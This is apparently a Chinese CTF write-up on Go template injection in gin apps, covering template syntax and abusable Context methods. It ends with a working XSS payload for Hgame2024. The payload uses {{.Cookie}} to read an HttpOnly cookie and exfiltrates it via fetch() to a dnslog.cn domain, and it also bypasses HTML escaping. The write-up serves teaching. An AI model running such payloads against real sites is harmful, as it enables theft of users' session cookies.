简析Go SSTI利用
目录
Go ssti的xss利用
简单来说就是可以利Go的模版注入,来绕过Cookie的HTTPOnly安全限制
Go SSTI基础
参考go官方文档
模版渲染
go的模版渲染使用的是{{}}
简单的例子
1 2 3 4 5 6 7 8 9
| type Inventory struct { Material string Count uint } sweaters := Inventory{"wool", 17} tmpl, err := template.New("test").Parse("{{.Count}} items are made of {{.Material}}") if err != nil { panic(err) } err = tmpl.Execute(os.Stdout, sweaters) if err != nil { panic(err) }
|
可以看到17和wool被渲染进去了。
Action
官方的给出的Action如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| {{}} {{- -}}
{{pipeline}} 我们可以把pipeline视作函数或者某个属性值 {{if pipeline}} T1 {{end}} {{if pipeline}} T1 {{else}} T0 {{end}} {{if pipeline}} T1 {{else if pipeline}} T0 {{end}}
{{range pipeline}} T1 {{end}} {{range pipeline}} T1 {{else}} T0 {{end}} 当pipeline返回的array长度为0时,执行T0 {{break}} {{continue}}
{{template "name"}} 渲染名称为name的模版。 {{template "name" pipeline}} 以pipeline为name模版的传入数据。 {{block "name" pipeline}} T1 {{end}} block是定义template的一种速记,相当于定义并执行,上面这条就是将pipeline渲染到T1模版里,并定义T1为名称为name的模版,相当于以下两条的结合。 {{define "name"}} T1 {{end}} {{template "name" pipeline}} 典型的用法是定义一组根模版,然后通过block重新定义来定制这些模板。
{{with pipeline}} T1 {{end}} 如果管道值为空,则不产生输出;否则,dot 将被设置为管道值,T1 将被执行。 {{with pipeline}} T1 {{else}} T0 {{end}} 如果管道值为空,dot不受影响,T0会被执行;否则,dot会被设置为pipeline的值,T1 会被执行。 with和if的区别在于with会将返回值储存在"."中,后续可以访问。
|
举一个with的例子
1
| tmpl, err := template.New("test").Parse("{{with .Count}}{{.}} items are made of {{end}}{{.Material}}")
|
Pipelines
1 2 3 4 5 6
| Argument 参数 .Method [Argument...] 方法 functionName [Argument...] 函数
|
pipeline之间可以用管道连接符|
来连接,前者的返回值将作为后者的最后一个参数传递
Variable
Action内的pipelin可以初始化变量的值
1 2 3
| $variable := pipeline range $index, $element := pipeline
|
gin.context的利用方式
参考go文档
看其Context下的属性和函数即可
简单选几个说明一下,具体的可以看官方文档
func |
描述 |
ClientIP |
返回访问ip |
ContentType |
contenttype |
Cookie |
返回Cookie,这里就是XSS可以利用的地方,因为这里的Cookie是无视httponly的属性, |
Query |
查询请求中的参数,比如请求传参为?a=123&b=456 ,那么Query('a') 返回的是'123' |
Hgame2024 Week2 梅开二度
实现xss,cookie被设置为了httponly
可以用Cookie访问到这个httponly的flag
而且这个机器人什么都不会返回,所以需要外带
先写一个iframe,让机器人访问到/flag获取cookie,等获取完之后再加载一个iframe,把数据发送出去
最终未编码的payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| ?tmpl={{print 1|.Query}}&1=<iframe src="http://127.0.0.1:8099/flag" id=2></iframe> <script> function a(){ var iframe=document.createElement("iframe") iframe.src="http://127.0.0.1:8099/?tmpl={{print 2|.Query|.Cookie}}&2=flag" iframe.onload=function(){ var str=iframe.contentWindow.document.body.innerHTML.slice(59,-7) var flag="" for(var i=0;i<str.length;i++){ flag+=str.charCodeAt(i).toString(16) } fetch("http://"+flag+"nice.dj30m9.dnslog.cn") } document.body.appendChild(iframe)} document.getElementById('2').onload=a </script>
|
由于题目中进行了html转义,所以单引号和双引号都不能用,所以用Query方法可以获取我们在url传的其他参数
但是{{.Query 1}}
中的1会解析为int类型导致出错,{{.Query a}}
会解析为函数a也会出错,所以用print
将1
转换为string
类型,传给Query
,这样就成功绕过了对tmpl的检查。
总结
go ssti主要还是要去看模版解析的基类型,即{{.}}
被解析为什么,然后去看这个对象有什么可以利用的方法或者属性,从而实现绕过。